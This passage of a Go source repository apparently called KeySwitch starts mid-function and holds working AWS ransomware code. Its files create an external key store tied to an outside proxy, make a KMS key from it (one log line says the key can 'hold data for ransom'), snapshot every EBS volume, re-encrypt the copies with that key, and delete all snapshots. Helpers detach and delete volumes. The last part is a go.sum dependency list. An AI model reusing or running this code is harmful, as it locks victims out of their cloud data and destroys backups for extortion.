SetupKmsKeyWithCks(ctx context.Context) { 58 | kmsClient := kms.NewFromConfig(libswitch.GetDefaultAwsClientConfig()) 59 | logger.Infof("attempting to create a symmetric key now") 60 | createKeyInput := &kms.CreateKeyInput{ 61 | CustomKeyStoreId: aws.String(customKeyStoreId), 62 | MultiRegion: aws.Bool(false), 63 | Description: aws.String(description), 64 | KeyUsage: types.KeyUsageTypeEncryptDecrypt, 65 | KeySpec: types.KeySpecSymmetricDefault, 66 | Origin: types.OriginTypeExternalKeyStore, 67 | XksKeyId: aws.String(xksKeyId), 68 | } 69 | createKeyOutput, err := kmsClient.CreateKey(ctx, createKeyInput) 70 | if err != nil { 71 | logger.Fatalf("error creating KMS key with XKS. error = %v", err) 72 | } 73 | kmsKeyArn := aws.ToString(createKeyOutput.KeyMetadata.Arn) 74 | logger.Infof("created KMS key Backed by XKS: %s", kmsKeyArn) 75 | logger.Infof("done. you can now use this key to hold data for ransom!") 76 | } 77 | -------------------------------------------------------------------------------- /KeySwitch/cmd/setup.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2024 Harsh Varagiya 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in 12 | all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | THE SOFTWARE. 21 | */ 22 | package cmd 23 | 24 | import ( 25 | "context" 26 | 27 | "github.com/HarshVaragiya/keyswitch/libswitch" 28 | "github.com/aws/aws-sdk-go-v2/aws" 29 | "github.com/aws/aws-sdk-go-v2/service/kms" 30 | "github.com/aws/aws-sdk-go-v2/service/kms/types" 31 | "github.com/spf13/cobra" 32 | ) 33 | 34 | var ( 35 | xksProxyUriPath string 36 | xksProxyUriEndpoint string 37 | accessKeyId string 38 | secretAccessKey string 39 | customKeyStoreName string 40 | ) 41 | 42 | // setupCmd represents the setup command 43 | var setupCmd = &cobra.Command{ 44 | Use: "setup", 45 | Short: "A brief description of your command", 46 | Long: ``, 47 | Run: func(cmd *cobra.Command, args []string) { 48 | SetupXks(context.TODO()) 49 | }, 50 | } 51 | 52 | func init() { 53 | rootCmd.AddCommand(setupCmd) 54 | setupCmd.PersistentFlags().StringVarP(&customKeyStoreName, "xks-name", "n", "aws-xks", "name for the external key store") 55 | setupCmd.PersistentFlags().StringVarP(&xksProxyUriPath, "uri", "p", "", "HTTP PATH for the XKS Proxy") 56 | setupCmd.PersistentFlags().StringVarP(&xksProxyUriEndpoint, "endpoint", "e", "", "HTTP Endpoint (domain) for the XKS Proxy") 57 | setupCmd.PersistentFlags().StringVarP(&accessKeyId, "access-key", "a", "", "Access Key Id") 58 | setupCmd.PersistentFlags().StringVarP(&secretAccessKey, "secret-access-key", "s", "", "secret access key") 59 | } 60 | 61 | func SetupXks(ctx context.Context) { 62 | kmsClient := kms.NewFromConfig(libswitch.GetDefaultAwsClientConfig()) 63 | logger.Infof("creating AWS XKS ...") 64 | createCustomKeyStoreInput := &kms.CreateCustomKeyStoreInput{ 65 | CustomKeyStoreName: aws.String(customKeyStoreName), 66 | CustomKeyStoreType: types.CustomKeyStoreTypeExternalKeyStore, 67 | XksProxyConnectivity: types.XksProxyConnectivityTypePublicEndpoint, 68 | XksProxyUriPath: aws.String(xksProxyUriPath), 69 | XksProxyUriEndpoint: aws.String(xksProxyUriEndpoint), 70 | XksProxyAuthenticationCredential: &types.XksProxyAuthenticationCredentialType{ 71 | AccessKeyId: aws.String(accessKeyId), 72 | RawSecretAccessKey: aws.String(secretAccessKey), 73 | }, 74 | } 75 | createCustomerKeyStoreOutput, err := kmsClient.CreateCustomKeyStore(ctx, createCustomKeyStoreInput) 76 | if err != nil { 77 | logger.Fatalf("error creating XKS. error = %v", err) 78 | } 79 | keyStoreId := aws.ToString(createCustomerKeyStoreOutput.CustomKeyStoreId) 80 | logger.Infof("created custom key store with Id: %s", keyStoreId) 81 | 82 | logger.Infof("attempting to connect to XKS : %s", keyStoreId) 83 | 84 | _, err = kmsClient.ConnectCustomKeyStore(ctx, &kms.ConnectCustomKeyStoreInput{CustomKeyStoreId: &keyStoreId}) 85 | if err != nil { 86 | logger.Fatalf("error connecting to XKS. error = %v", err) 87 | } 88 | logger.Infof("done. you can create KMS Keys with this CKS now") 89 | } 90 | -------------------------------------------------------------------------------- /KeySwitch/cmd/ebs.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright © 2024 Harsh Varagiya 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in 12 | all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | THE SOFTWARE. 21 | */ 22 | package cmd 23 | 24 | import ( 25 | "context" 26 | "sync" 27 | 28 | "github.com/HarshVaragiya/keyswitch/libebs" 29 | "github.com/HarshVaragiya/keyswitch/liblogger" 30 | "github.com/spf13/cobra" 31 | ) 32 | 33 | var ( 34 | logger = liblogger.Log 35 | ) 36 | 37 | // ebsCmd represents the ebs command 38 | var ebsCmd = &cobra.Command{ 39 | Use: "ebs", 40 | Short: "re-encrypt ebs volumes", 41 | Long: ``, 42 | Run: func(cmd *cobra.Command, args []string) { 43 | sanityCheckVariables() 44 | PerformEbsReencryption() 45 | }, 46 | } 47 | 48 | func init() { 49 | rootCmd.AddCommand(ebsCmd) 50 | } 51 | 52 | func PerformEbsReencryption() { 53 | ctx := context.Background() 54 | cks := libebs.NewComputeKeySwitcher(region) 55 | 56 | // just list all volumes - no harm done. 57 | logger.Infof("fetching list of all EBS volumes ...") 58 | existingVolumes, err := cks.GetAllEbsVolumes(ctx) 59 | if err != nil { 60 | logger.Fatalf("error fetching EBS volumes. error = %v", err) 61 | } 62 | volumeIds := libebs.GetEbsVolumeIds(existingVolumes) 63 | 64 | // now create snapshots for the existing volumes - this incurs additional cost $$$ 65 | getUserConfirmation("create ALL volume snapshots") 66 | logger.Infof("creating snapshots for the volumes ...") 67 | snapshotIds, err := cks.CreateSnapshotsRequestForVolume(ctx, volumeIds) 68 | if err != nil { 69 | logger.Fatalf("error fetching EBS volumes. error = %v", err) 70 | } 71 | 72 | encryptWg := &sync.WaitGroup{} 73 | availableSnapshotIds := make(chan string, 100) 74 | encryptedVolumeIds := make(chan string, 100) 75 | // now we wait for the snapshots to become available 76 | logger.Infof("waiting for snapshots to become available ...") 77 | encryptWg.Add(1) 78 | go cks.WaitForAvailableSnapshots(ctx, snapshotIds, availableSnapshotIds, encryptWg) 79 | 80 | // creating a new EBS volume using the snapshot 81 | getUserConfirmation("encrypt snapshots with given KMS key") 82 | logger.Infof("encrypting snapshots and creating new volumes ...") 83 | encryptWg.Add(1) 84 | go cks.CreateEncryptedVolumeFromSnapshot(ctx, availableSnapshotIds, kmsKeyArn, encryptedVolumeIds, encryptWg) 85 | 86 | logger.Infof("waiting for encryption process to finish ...") 87 | encryptWg.Wait() 88 | logger.Infof("encryption process has finished.") 89 | 90 | deleteWg := &sync.WaitGroup{} 91 | // now we can go ahead and delete all the snapshots in the region 92 | getUserConfirmation("delete ALL snapshots") 93 | logger.Infof("deleting snapshots ...") 94 | deleteWg.Add(1) 95 | if err := cks.DeleteAllSnapshots(ctx, deleteWg); err != nil { 96 | logger.Fatalf("error deleting snapshots. error = %v", err) 97 | } 98 | 99 | logger.Infof("waiting for delete processes to finish ...") 100 | deleteWg.Wait() 101 | logger.Infof("done") 102 | } 103 | -------------------------------------------------------------------------------- /KeySwitch/libebs/volumes.go: -------------------------------------------------------------------------------- 1 | package libebs 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "sync" 7 | 8 | "github.com/aws/aws-sdk-go-v2/aws" 9 | "github.com/aws/aws-sdk-go-v2/service/ec2" 10 | "github.com/aws/aws-sdk-go-v2/service/ec2/types" 11 | "github.com/sirupsen/logrus" 12 | ) 13 | 14 | func (comp *ComputeKeySwitcher) GetAllEbsVolumes(ctx context.Context) ([]types.Volume, error) { 15 | input := &ec2.DescribeVolumesInput{} 16 | nextToken := "" 17 | volumes := make([]types.Volume, 0) 18 | for { 19 | input = &ec2.DescribeVolumesInput{} 20 | if nextToken != "" { 21 | input.NextToken = aws.String(nextToken) 22 | } 23 | volumesOutput, err := comp.ec2Client.DescribeVolumes(ctx, input) 24 | if err != nil { 25 | err := fmt.Errorf("error listing ebs volumes. error = %v", err) 26 | logger.WithFields(logrus.Fields{"region": comp.Region}).Error(err) 27 | return volumes, err 28 | } 29 | for _, volume := range volumesOutput.Volumes { 30 | volumeId := aws.ToString(volume.VolumeId) 31 | logger.WithFields(logrus.Fields{"region": comp.Region, "volumeId": volumeId}).Debugf("discovered new volume") 32 | 33 | } 34 | volumes = append(volumes, volumesOutput.Volumes...) 35 | if volumesOutput.NextToken == nil { 36 | logger.WithFields(logrus.Fields{"region": comp.Region}).Infof("found all volumes. count = %d", len(volumes)) 37 | break 38 | } 39 | nextToken = aws.ToString(volumesOutput.NextToken) 40 | } 41 | return volumes, nil 42 | } 43 | 44 | func (comp *ComputeKeySwitcher) CreateEncryptedVolumeFromSnapshot(ctx context.Context, snapshotIds chan string, kmsKeyArn string, volumeIds chan string, wg *sync.WaitGroup) error { 45 | defer wg.Done() 46 | for snapshotId := range snapshotIds { 47 | input := &ec2.CreateVolumeInput{ 48 | SnapshotId: aws.String(snapshotId), 49 | AvailabilityZone: aws.String(fmt.Sprintf("%sa", comp.Region)), 50 | Encrypted: aws.Bool(true), 51 | KmsKeyId: aws.String(kmsKeyArn), 52 | } 53 | out, err := comp.ec2Client.CreateVolume(ctx, input) 54 | if err != nil { 55 | err := fmt.Errorf("error creating encrypted snapshot. error = %v", err) 56 | logger.WithFields(logrus.Fields{"region": comp.Region, "snapshotId": snapshotId}).Error(err) 57 | continue 58 | } 59 | volumeId := aws.ToString(out.VolumeId) 60 | volumeIds <- volumeId 61 | logger.WithFields(logrus.Fields{"region": comp.Region, "snapshotId": snapshotId, "volumeId": volumeId}).Infof("requested creation of encrypted volume") 62 | } 63 | return nil 64 | } 65 | 66 | func (comp *ComputeKeySwitcher) DeleteVolumes(ctx context.Context, volumes []string, wg *sync.WaitGroup) error { 67 | defer wg.Done() 68 | for _, volumeId := range volumes { 69 | _, err := comp.ec2Client.DeleteVolume( 70 | ctx, 71 | &ec2.DeleteVolumeInput{VolumeId: aws.String(volumeId)}) 72 | if err != nil { 73 | err := fmt.Errorf("error deleting volume. error = %v", err) 74 | logger.WithFields(logrus.Fields{"region": comp.Region, "volumeId": volumeId}).Error(err) 75 | continue 76 | } 77 | logger.WithFields(logrus.Fields{"region": comp.Region, "volumeId": volumeId}).Infof("deleted volume") 78 | } 79 | return nil 80 | } 81 | 82 | func (comp *ComputeKeySwitcher) DetachAllEbsVolumes(ctx context.Context) error { 83 | resp, err := comp.GetAllEbsVolumes(ctx) 84 | if err != nil { 85 | err := fmt.Errorf("error describing EBS volumes: %v", err) 86 | logger.WithFields(logrus.Fields{"region": comp.Region}).Error(err) 87 | return err 88 | } 89 | for _, volume := range resp { 90 | if volume.State == types.VolumeStateInUse { 91 | volumeId := aws.ToString(volume.VolumeId) 92 | _, err := comp.ec2Client.DetachVolume(context.Background(), &ec2.DetachVolumeInput{ 93 | VolumeId: aws.String(volumeId), 94 | }) 95 | if err != nil { 96 | err := fmt.Errorf("error detaching volume. error = %v", err) 97 | logger.WithFields(logrus.Fields{"region": comp.Region, "volumeId": volumeId}).Error(err) 98 | continue 99 | } 100 | logger.WithFields(logrus.Fields{"region": comp.Region, "volumeId": volumeId}).Info("detached ebs volume") 101 | } 102 | } 103 | return nil 104 | } 105 | -------------------------------------------------------------------------------- /KeySwitch/libebs/snapshots.go: -------------------------------------------------------------------------------- 1 | package libebs 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "slices" 7 | "sync" 8 | "time" 9 | 10 | "github.com/HarshVaragiya/keyswitch/libswitch" 11 | "github.com/aws/aws-sdk-go-v2/aws" 12 | "github.com/aws/aws-sdk-go-v2/service/ebs" 13 | "github.com/aws/aws-sdk-go-v2/service/ec2" 14 | "github.com/aws/aws-sdk-go-v2/service/ec2/types" 15 | "github.com/sirupsen/logrus" 16 | ) 17 | 18 | func NewComputeKeySwitcher(region string) *ComputeKeySwitcher { 19 | computeConfig := libswitch.GetDefaultAwsClientConfig().Copy() 20 | computeConfig.Region = region 21 | ebsC := ebs.NewFromConfig(computeConfig) 22 | ec2C := ec2.NewFromConfig(computeConfig) 23 | logger.Infof("creating computeKeySwitcher instance for region: %s", region) 24 | return &ComputeKeySwitcher{ 25 | Region: region, 26 | ebsClient: ebsC, 27 | ec2Client: ec2C, 28 | } 29 | } 30 | 31 | func (comp *ComputeKeySwitcher) CreateSnapshotsRequestForVolume(ctx context.Context, volumeIds []string) ([]string, error) { 32 | snapshotIds := make([]string, 0) 33 | for _, volId := range volumeIds { 34 | input := &ec2.CreateSnapshotInput{ 35 | VolumeId: aws.String(volId), 36 | } 37 | result, err := comp.ec2Client.CreateSnapshot(ctx, input) 38 | if err != nil { 39 | err := fmt.Errorf("couldn't create snapshot for volume %s: %v", volId, err) 40 | logger.WithFields(logrus.Fields{"region": comp.Region, "volumeId": volId}).Error(err) 41 | continue 42 | } 43 | snapshotId := aws.ToString(result.SnapshotId) 44 | logger.WithFields(logrus.Fields{"region": comp.Region, "volumeId": volId, "snapshotId": snapshotId}).Debugf("created snapshot request") 45 | snapshotIds = append(snapshotIds, snapshotId) 46 | } 47 | return snapshotIds, nil 48 | } 49 | 50 | func (comp *ComputeKeySwitcher) WaitForAvailableSnapshots(ctx context.Context, snapshotIds []string, availableSnapshotIds chan string, wg *sync.WaitGroup) error { 51 | defer wg.Done() 52 | waitingSnapshotsCount := len(snapshotIds) 53 | sentSnapshotIds := make([]string, 0) 54 | 55 | for { 56 | snapshots, err := comp.GetAllSnapshots(ctx) 57 | if err != nil { 58 | return err 59 | } 60 | 61 | for _, snapshot := range snapshots { 62 | snapshotId := aws.ToString(snapshot.SnapshotId) 63 | if slices.Contains(snapshotIds, snapshotId) { 64 | // this is a snapshot we are interested in .. 65 | if snapshot.State == types.SnapshotStateCompleted { 66 | if !slices.Contains(sentSnapshotIds, snapshotId) { 67 | // new snapshot is available 68 | availableSnapshotIds <- snapshotId 69 | sentSnapshotIds = append(sentSnapshotIds, snapshotId) 70 | logger.WithFields(logrus.Fields{"region": comp.Region}).Debugf("found new snapshot: %s", snapshotId) 71 | } else { 72 | logger.WithFields(logrus.Fields{"region": comp.Region, "snapshotId": snapshotId}).Debugf("snapshot progress: %s", aws.ToString(snapshot.Progress)) 73 | } 74 | } 75 | } 76 | } 77 | 78 | if len(sentSnapshotIds) == waitingSnapshotsCount { 79 | logger.WithFields(logrus.Fields{"region": comp.Region}).Info("all snapshots are available") 80 | break 81 | } 82 | time.Sleep(POLLING_TIME) 83 | } 84 | close(availableSnapshotIds) 85 | return nil 86 | 87 | } 88 | 89 | func (comp *ComputeKeySwitcher) GetAllSnapshots(ctx context.Context) ([]types.Snapshot, error) { 90 | snapshots := make([]types.Snapshot, 0) 91 | nextToken := "" 92 | for { 93 | input := &ec2.DescribeSnapshotsInput{ 94 | OwnerIds: []string{"self"}, 95 | } 96 | if nextToken != "" { 97 | input.NextToken = &nextToken 98 | } 99 | out, err := comp.ec2Client.DescribeSnapshots(ctx, input) 100 | if err != nil { 101 | err := fmt.Errorf("error getting snapshot details. error = %v", err) 102 | logger.WithFields(logrus.Fields{"region": comp.Region}).Error(err) 103 | return snapshots, err 104 | } 105 | snapshots = append(snapshots, out.Snapshots...) 106 | if out.NextToken == nil { 107 | logger.WithFields(logrus.Fields{"region": comp.Region}).Debugf("listed all snapshots. count = %d", len(snapshots)) 108 | break 109 | } else { 110 | nextToken = aws.ToString(out.NextToken) 111 | } 112 | time.Sleep(PAGINATION_SLEEP_TIME) 113 | } 114 | return snapshots, nil 115 | } 116 | 117 | func (comp *ComputeKeySwitcher) DeleteAllSnapshots(ctx context.Context, wg *sync.WaitGroup) error { 118 | defer wg.Done() 119 | snapshots, err := comp.GetAllSnapshots(ctx) 120 | if err != nil { 121 | logger.WithFields(logrus.Fields{"region": comp.Region}).Errorf("error listing snapshots ...") 122 | return err 123 | } 124 | for _, snapshot := range snapshots { 125 | snapshotId := aws.ToString(snapshot.SnapshotId) 126 | _, err := comp.ec2Client.DeleteSnapshot(ctx, &ec2.DeleteSnapshotInput{SnapshotId: aws.String(snapshotId)}) 127 | if err != nil { 128 | err := fmt.Errorf("error deleting snapshot. error = %v", err) 129 | logger.WithFields(logrus.Fields{"region": comp.Region, "snapshotId": snapshotId}).Error(err) 130 | continue 131 | } 132 | logger.WithFields(logrus.Fields{"region": comp.Region, "snapshotId": snapshotId}).Infof("deleted snapshot") 133 | time.Sleep(DELETE_API_RATE_LIMIT_DELAY) 134 | } 135 | return nil 136 | } 137 | -------------------------------------------------------------------------------- /KeySwitch/go.sum: -------------------------------------------------------------------------------- 1 | github.com/aws/aws-sdk-go-v2 v1.26.0 h1:/Ce4OCiM3EkpW7Y+xUnfAFpchU78K7/Ug01sZni9PgA= 2 | github.com/aws/aws-sdk-go-v2 v1.26.0/go.mod h1:35hUlJVYd+M++iLI3ALmVwMOyRYMmRqUXpTtRGW+K9I= 3 | github.com/aws/aws-sdk-go-v2/config v1.27.7 h1:JSfb5nOQF01iOgxFI5OIKWwDiEXWTyTgg1Mm1mHi0A4= 4 | github.com/aws/aws-sdk-go-v2/config v1.27.7/go.mod h1:PH0/cNpoMO+B04qET699o5W92Ca79fVtbUnvMIZro4I= 5 | github.com/aws/aws-sdk-go-v2/credentials v1.17.7 h1:WJd+ubWKoBeRh7A5iNMnxEOs982SyVKOJD+K8HIezu4= 6 | github.com/aws/aws-sdk-go-v2/credentials v1.17.7/go.mod h1:UQi7LMR0Vhvs+44w5ec8Q+VS+cd10cjwgHwiVkE0YGU= 7 | github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.15.3 h1:p+y7FvkK2dxS+FEwRIDHDe//ZX+jDhP8HHE50ppj4iI= 8 | github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.15.3/go.mod h1:/fYB+FZbDlwlAiynK9KDXlzZl3ANI9JkD0Uhz5FjNT4= 9 | github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.4 h1:0ScVK/4qZ8CIW0k8jOeFVsyS/sAiXpYxRBLolMkuLQM= 10 | github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.4/go.mod h1:84KyjNZdHC6QZW08nfHI6yZgPd+qRgaWcYsyLUo3QY8= 11 | github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.4 h1:sHmMWWX5E7guWEFQ9SVo6A3S4xpPrWnd77a6y4WM6PU= 12 | github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.4/go.mod h1:WjpDrhWisWOIoS9n3nk67A3Ll1vfULJ9Kq6h29HTD48= 13 | github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0 h1:hT8rVHwugYE2lEfdFE0QWVo81lF7jMrYJVDWI+f+VxU= 14 | github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0/go.mod h1:8tu/lYfQfFe6IGnaOdrpVgEL2IrrDOf6/m9RQum4NkY= 15 | github.com/aws/aws-sdk-go-v2/service/ebs v1.23.2 h1:fkL23QSIZuWvy1KKlXJFgxq7vgIP3umzYVfWME4hwpc= 16 | github.com/aws/aws-sdk-go-v2/service/ebs v1.23.2/go.mod h1:YiFTL3fzK75Lt5d66V2tfOoXAqLY3gwjRnzkqzEJC2E= 17 | github.com/aws/aws-sdk-go-v2/service/ec2 v1.150.1 h1:DQpuZSfLpSMgUevYRLS1XE44pSpEnJf/F53/KxmpX2Y= 18 | github.com/aws/aws-sdk-go-v2/service/ec2 v1.150.1/go.mod h1:KNJMjsbzK97hci9ev2Vl/27GgUt3ZciRP4RGujAPF2I= 19 | github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.1 h1:EyBZibRTVAs6ECHZOw5/wlylS9OcTzwyjeQMudmREjE= 20 | github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.1/go.mod h1:JKpmtYhhPs7D97NL/ltqz7yCkERFW5dOlHyVl66ZYF8= 21 | github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.5 h1:K/NXvIftOlX+oGgWGIa3jDyYLDNsdVhsjHmsBH2GLAQ= 22 | github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.5/go.mod h1:cl9HGLV66EnCmMNzq4sYOti+/xo8w34CsgzVtm2GgsY= 23 | github.com/aws/aws-sdk-go-v2/service/kms v1.30.0 h1:yS0JkEdV6h9JOo8sy2JSpjX+i7vsKifU8SIeHrqiDhU= 24 | github.com/aws/aws-sdk-go-v2/service/kms v1.30.0/go.mod h1:+I8VUUSVD4p5ISQtzpgSva4I8cJ4SQ4b1dcBcof7O+g= 25 | github.com/aws/aws-sdk-go-v2/service/sso v1.20.2 h1:XOPfar83RIRPEzfihnp+U6udOveKZJvPQ76SKWrLRHc= 26 | github.com/aws/aws-sdk-go-v2/service/sso v1.20.2/go.mod h1:Vv9Xyk1KMHXrR3vNQe8W5LMFdTjSeWk0gBZBzvf3Qa0= 27 | github.com/aws/aws-sdk-go-v2/service/ssooidc v1.23.2 h1:pi0Skl6mNl2w8qWZXcdOyg197Zsf4G97U7Sso9JXGZE= 28 | github.com/aws/aws-sdk-go-v2/service/ssooidc v1.23.2/go.mod h1:JYzLoEVeLXk+L4tn1+rrkfhkxl6mLDEVaDSvGq9og90= 29 | github.com/aws/aws-sdk-go-v2/service/sts v1.28.4 h1:Ppup1nVNAOWbBOrcoOxaxPeEnSFB2RnnQdguhXpmeQk= 30 | github.com/aws/aws-sdk-go-v2/service/sts v1.28.4/go.mod h1:+K1rNPVyGxkRuv9NNiaZ4YhBFuyw2MMA9SlIJ1Zlpz8= 31 | github.com/aws/smithy-go v1.20.1 h1:4SZlSlMr36UEqC7XOyRVb27XMeZubNcBNN+9IgEPIQw= 32 | github.com/aws/smithy-go v1.20.1/go.mod h1:krry+ya/rV9RDcV/Q16kpu6ypI4K2czasz0NC3qS14E= 33 | github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= 34 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 35 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 36 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 37 | github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8= 38 | github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= 39 | github.com/jmespath/go-jmespath v0.4.0 h1:BEgLn5cpjn8UN1mAw4NjwDrS35OdebyEtFe+9YPoQUg= 40 | github.com/jmespath/go-jmespath v0.4.0/go.mod h1:T8mJZnbsbmF+m6zOOFylbeCJqk5+pHWvzYPziyZiYoo= 41 | github.com/jmespath/go-jmespath/internal/testify v1.5.1 h1:shLQSRRSCCPj3f2gpwzGwWFoC7ycTf1rcQZHOlsJ6N8= 42 | github.com/jmespath/go-jmespath/internal/testify v1.5.1/go.mod h1:L3OGu8Wl2/fWfCI6z80xFu9LTZmf1ZRjMHUOPmWr69U= 43 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 44 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 45 | github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= 46 | github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= 47 | github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= 48 | github.com/spf13/cobra v1.8.0 h1:7aJaZx1B85qltLMc546zn58BxxfZdR/W22ej9CFoEf0= 49 | github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho= 50 | github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= 51 | github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= 52 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 53 | github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= 54 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 55 | golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 56 | golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4= 57 | golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 58 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 59 | gopkg.in/yaml.v2 v2.2.8 h1:obN1ZagJSUGI0Ek/LBmuj4SNLPfIny3KsKFopxRdj10= 60 | gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 61 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 62 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 63 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 64 | --------------------------------------------------------------------------------